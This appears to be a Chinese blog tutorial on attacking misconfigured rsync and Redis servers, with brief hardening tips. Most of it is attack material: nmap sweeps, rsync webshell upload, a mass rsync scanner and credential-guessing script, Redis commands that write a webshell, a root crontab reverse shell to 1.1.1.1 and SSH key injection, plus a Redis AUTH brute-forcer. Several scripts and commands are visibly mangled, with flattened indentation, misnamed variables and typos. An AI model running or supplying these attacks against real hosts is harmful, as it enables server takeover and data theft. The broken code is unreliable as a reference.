rsync/redis 漏洞

Rsync(remote synchronize)是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。
rsync 默认同步时是不加密的,可使用 ssh隧道 的方式来进行加密同步
rsync -avzP -e 'ssh -p 22 /tmp/ test@ip:/web/'

rsync + crontab

rsync + sersync # 实时备份

#默认端口为 873

不正确的配置方法

uid = root # 不能改权限太高
gid = root
#read only = false #关闭了只读
auth users = test # 未授权登录
#secrets file = /etc/rsync.password

案例:
因为配置不当 产生的漏洞
我是如何沦陷ChinaZ下载站服务器的
http://www.anquan.us/static/bugs/wooyun-2013-026232.html

漏洞扫描与发现
扫码工具nmap
nmap -n --open -p 873 1.1.1.1/16

扫描到的ip访问
rsync 1.1.1.1::bak

当前目录下写个php 或则webshell 进行同步

<?php phpinfo(); ?>
rsync test.php 192.168.1.10::bak/123.php

Python编写批量扫描

#!/usr/bin/python
#-- coding:utf8 --
'''

  1. 扫描开发的873端口
  2. 获取rsync目录
  3. 密码尝试
    '''

import os
import datetime
import threading
from socket import *

获取当前时间 例如:19-5-9

create_file_name = datetime.datetime.now().strftime('%Y-%m-%d')

保存文件

def save_file(result):
new_file = '{}_open.txt'.format(create_file_name)
with open(new_file,'a+') as fd:
fd.writelines(result + '\n')

这是一个 生成器

def socket_request(tarip, tarport):
try: # 异常处理 ,执行正常则 会 yield 出结果 ,如果报错,则输出Close
setdefaulttimeout(3) # 设置链接超时时间 3S
s = socket(AF_INET, SOCK_STREAM) # 调用socket
address = (str(tarip), int(tarport)) # 将IP 和端口 封装成元组
s.connect(address) # 请求链接 类似于 shh IP port
s.close() # 关闭连接
info = '{}:{} Open'.format(tarip,tarport) # 拼接 ip:port 192.168.1.10:873
print ('\033[6;30;42m]' + info + '\033[0m') # 显示颜色
save_file(tarip) # 将这个IP 写入文件保存
yield info # yield 如果没有 send 和 next 方法 则会将外部每次的循环结果 return出去
except:
print ('\033[0;31m' + '{}:{} {}'.format(tarip, tarport, 'Close') + '\033[0m')

ip 端口扫描

def port_open_scan():
with open('ip.txt', 'r') as read_ip: #读取文件
for i in read_ip.readlines():
for x in socket_request(str(i).strip(), 873):
print (x)
pass

确认开启了rsync服务的IP

def rsync_pass_check(ip):
ip = ip.strip()
command = "rsync "+ ip + "::"
print("Checking {}".format(ip))
dirlist = []
for line in os.popen(command): # os.popen 和 os.system() 一个直接输出,一个变成可read()对象 subprocess.Popen()
x = line.find("\t")
y = line[0:x]
dirlist.append(y)
for dir in dirlist:
userlist = ['www','root','test','admin','rsync']
for user in userlist:
crack_command = "rsync "+ user + "@" + ip + "::" +dir + "--password-file=pass.txt"
try:
output = os.system(crack_command)
if os.popen(crack_command).read():
res_str = "[+] Vul Found: " + crack_command
with open("Vuln_IP.txt","a+") as f:
f.write(res_str+"\n")
else:
pass
except Exception as e:
print (e)

def main():
port_open_scan()
open_port = '{}_open.txt'.format(create_file_name)
with open(open_port, 'r') as f:
iplist = f.readlines()
for ip in iplist:
rsync_pass_check(ip)

if name == 'main':
t = threading.Thread(target=main) # 多线程执行
t.start()
防止方式

  1. 限定访问的IP
  2. 不允许匿名访问
  3. 防止弱口令
  4. 禁用root权限

Redis配置不当

redis是一个开源、支持网络、基于内存、键值对存储数据库,使用ANSI C编写。

自从Redis未授权问题获取Linux系统root权限的***方法的披露后,由于其易用性,利用该问题***Linux服务进
行挖矿

全网扫描 redis 未授权访问获取root 权限,通过这个漏洞进行Linux的挖矿等等

edis安全事件

案例:
凤凰网某站点redis未授权访问导致Getshell
http://www.anquan.us/static/bugs/wooyun-2015-0161323.html

未授权访问获取Shell

  1. 获取WebShell
    条件:网站路径 用过phpinfo
    登录到对方的redis机器上
    使用命令如下:
    config set dir /var/www/html/
    config set dbfilename shell.php
    set x "<?php phpinfo();?>"
    save

2.2. 写入crontab任务
反弹提权 bash -i
使用命令如下:

set x "\n * bash -i >& /dev/tcp/1.1.1.1/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
Save

监听端口:
nc –lvnp 6666

  1. 写入ssh公钥
    ssh-keygen -t rsa # 创建秘钥
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
    cat foo.txt | redis-cli -h 1.1.1.1 -x set crack # 链接redis 并将秘钥上传
    config set dir /root/.ssh/ # 切到ssh目录去
    config get dir
    config set dbfilename "authorized_keys" # 保存到 authorized_keys 文件里
    save ssh -i id_rsa root@1.1.1.1 # 保存并登陆

使用Python 进行暴力破解

#!/usr/bin/python
#-- coding:utf8 --

from socket import *

设置端口+IP

ip = '1.1.1.1'
prot = 6379

timeout = 2
setdefaulttimeout(timeout) # 设置默认超时时间

s = socket(AF_INET,SOCK_STREAM) # 引入socket
s.connect((ip,int(port))) # 建立连接
s.send(b"INFO\r\n") # 传送命令
result = s.recv(1024) # 设置传送的字节大小

if b"redis_version" in result: # 判断 是否有设置密码
print ("未授权访问")
elif b"Authentication" in result: # 开始进行暴力破解
with open('./pass.txt','r') as read_pass: # 导入密码字典
for password in read_pass: # 尝试循环验证
password = password.strip()
s = socket(AF_INET,SOCK_STREAM)
s.send("AUTH {}\r\n".format(password).encode('utf-8'))
result = s.recv(1024)
if b'+OK' in result: # 返回有OK 字符 则为验证通过
print("密码: {}".format(password)) # 显示密码

防止方式

  1. 设置密码

vim /etc/redis.conf
requirepass 强度密码 #加上你的复杂密码

  1. 不要把Redis暴露在公网
    监听本地端口,不要暴露再公网
  1. 普通权限启动
    使用普通权限启动
    命令如下:
    user add -r redis
    chown -R redis:redis /usr/local/reids
    su - redis
    redis-server /etc/redis.conf # 以普通用户启动redis-server

    1. 对.ssh降权和锁定
      命令如下:
      su - redis
      chmod 400 .shh/authorized_keys
      chatter +i .shh/authorized_keys
      chatter +i .ssh/
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值